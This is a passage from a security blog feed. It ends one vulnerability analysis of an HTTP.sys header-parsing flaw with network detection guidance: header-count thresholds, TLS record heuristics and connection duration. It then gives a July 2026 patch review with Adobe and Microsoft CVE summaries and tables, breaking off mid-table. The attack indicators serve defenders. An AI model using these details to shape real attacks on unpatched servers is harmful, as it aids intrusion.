highlighted.</p><p class="">In <em>UlpParseNextRequest()</em>:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class=""><strong>Detection Guidance</strong></p><p class="">To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the TCP port 443.</p><p class="">The traffic on the affected port(s) is TLS-encrypted. The detection device must be able to decrypt the TLS traffic before applying the following detection method. The detection device should monitor for HTTPS connections.</p><p class="">An HTTP/1.x request [1] consists of a request line followed by zero or more header field lines, each terminated by CRLF. The following grammar defines the relevant structure:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class=""><em>Decrypted traffic inspection:</em></p><p class="">After decrypting the TLS session, the detection device must parse the HTTP/1.x request headers. The detection device must count the number of distinct header field lines present in a single HTTP request. If the number of header field lines in a single request exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.</p><p class=""><em>Encrypted traffic heuristics:</em></p><p class="">Where decryption is not available, the detection device should inspect the pattern of TLS application data records within the encrypted session. If each TLS application data record contains a single short payload and the total number of such records on a single connection exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.</p><p class=""><em>Notes:</em></p><p class="">• The preferred detection method (header line count) requires the ability to decrypt TLS traffic, for example through TLS inspection, a decrypting proxy, or possession of the server's private key. This method directly observes the attack indicator and produces low false-positive and false-negative rates.</p><p class="">• The TLS record heuristic operates on encrypted traffic and does not require decryption. This method is more prone to false positives (legitimate applications that send many small TLS records, such as interactive streaming sessions, may trigger the heuristic) and to false negatives (the threshold is based on observable record sizes rather than the actual header count that determines exploitability). Where possible, decrypted traffic inspection should be preferred.</p><p class="">• The attack requires approximately 11 minutes of sustained connection to accumulate sufficient header lines. Connection duration monitoring may serve as a supplementary detection heuristic.</p><p class=""><strong>Conclusion</strong></p><p class="">This vulnerability was <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291">patched</a> by Microsoft in the June 2026 release cycle. They note several mitigations that include editing the registry to ensure unpatched systems are not vulnerable to exploitation. However, the best method to ensure this bug has been fully remediated is to test and deploy the vendor-supplied patch.</p><p class="">Special thanks to Yazhi Wang and Jonathan Lein of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit <a href="https://go.trendmicro.com/tis/vulnerabilities.html">https://go.trendmicro.com/tis/vulnerabilities.html</a>.</p><p class="">The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The July 2026 Security Update Review]]></title>
<description><![CDATA[Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly...]]></description>
<link>https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:51 +0200</pubDate>
<content:encoded><![CDATA[<p class="">Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for July 2026</strong></p><p class="">Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.</p><p class="">For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html" target="_blank">APSB26-82</a></td>
    <td>Adobe ColdFusion</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.9</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-73.html" target="_blank">APSB26-73</a></td>
    <td>Adobe Commerce</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-78.html" target="_blank">APSB26-78</a></td>
    <td>Adobe After Effects</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/animate/apsb26-83.html" target="_blank">APSB26-83</a></td>
    <td>Adobe Animate</td>
    <td>6</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/audition/apsb26-71.html" target="_blank">APSB26-71</a></td>
    <td>Adobe Audition</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-81.html" target="_blank">APSB26-81</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html" target="_blank">APSB26-77</a></td>
    <td>Adobe Creative Cloud Desktop Application</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.1</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-74.html" target="_blank">APSB26-74</a></td>
    <td>Adobe Experience Manager</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-79.html" target="_blank">APSB26-79</a></td>
    <td>Adobe Illustrator</td>
    <td>5</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-72.html" target="_blank">APSB26-72</a></td>
    <td>Adobe Media Encoder</td>
    <td>5</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-76.html" target="_blank">APSB26-76</a></td>
    <td>Adobe Premiere Pro</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-80.html" target="_blank">APSB26-80</a></td>
    <td>Content Credentials SDK</td>
    <td>12</td>
    <td>Critical</td>
    <td>8.2</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>12 bulletins</td>
    <td>88</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here. </p><p class=""><strong>Microsoft Patches for July 2026</strong></p><p class="">Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png" data-image-dimensions="2158x1150" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w" width="2158" height="1150" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  





  <p class="">The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.</p><p class="">So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><strong>CVE-2026-56155</strong></a><strong> - Active Directory Federation Services Elevation of Privilege Vulnerability<br></strong>This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56154"><strong>CVE-2026-56164</strong></a><strong> - Microsoft SharePoint Server Elevation of Privilege Vulnerability<br></strong>The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><strong>CVE-2026-57092</strong></a><strong> - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability<br></strong>This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><strong>CVE-2026-50522</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><strong>58644</strong></a><strong> - Microsoft SharePoint Remote Code Execution Vulnerability<br></strong>This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during <a href="https://www.zerodayinitiative.com/blog/2026/5/16/pwn2own-berlin-2026-day-three-results-and-master-of-pwn">Pwn2Own Berlin</a>, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><strong>CVE-2026-56190</strong></a><strong> - Remote Desktop Protocol Remote Code Execution Vulnerability</strong><br> This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><strong>CVE-2026-55008</strong></a><strong> - Microsoft Exchange Server Spoofing Vulnerability<br></strong>Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><strong>CVE-2026-50518</strong></a><strong> - Windows DHCP Server Remote Code Execution Vulnerability<br></strong>There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><strong>CVE-2026-56188</strong></a><strong> - Windows Server Network driver Remote Code Execution Vulnerability<br></strong>Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><strong>CVE-2026-55010</strong></a><strong> - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability<br></strong>File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.</p><p class="">Here’s the full list of CVEs released by Microsoft for July 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-Jul-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a></td>
  <td width="256" class="xl74">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl70">Yes</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121"><span>CVE-2026-54121</span></a></td>
  <td width="256" class="xl74">Active Directory
  Certificate Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45499"><span>CVE-2026-45499 **</span></a></td>
  <td width="256" class="xl74">Azure OpenAI Elevation
  of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564"><span>CVE-2026-48564</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370"><span>CVE-2026-50370</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159"><span>CVE-2026-56159</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382"><span>CVE-2026-50382</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41106"><span>CVE-2026-41106 **</span></a></td>
  <td width="256" class="xl74">Microsoft 365 Copilot
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26145"><span>CVE-2026-26145 **</span></a></td>
  <td width="256" class="xl74">Microsoft Azure
  Synapse Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561"><span>CVE-2026-48561</span></a></td>
  <td width="256" class="xl74">Microsoft Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55011"><span>CVE-2026-55011</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55012"><span>CVE-2026-55012</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="96">
  <td class="xl67" height="96"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944"><span>CVE-2026-55944</span></a></td>
  <td width="256" class="xl74">Microsoft Dynamics NAV
  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57100"><span>CVE-2026-57100 **</span></a></td>
  <td width="256" class="xl74">Microsoft Entra
  Provisioning Service Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55041"><span>CVE-2026-55041</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998"><span>CVE-2026-54998 **</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Online Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><span>CVE-2026-55008</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992"><span>CVE-2026-54992</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50314"><span>CVE-2026-50314</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50467"><span>CVE-2026-50467</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018"><span>CVE-2026-55018</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55022"><span>CVE-2026-55022</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045"><span>CVE-2026-55045</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55049"><span>CVE-2026-55049</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55129"><span>CVE-2026-55129</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55056"><span>CVE-2026-55056</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55140"><span>CVE-2026-55140</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043"><span>CVE-2026-55043</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55123"><span>CVE-2026-55123</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55120"><span>CVE-2026-55120</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
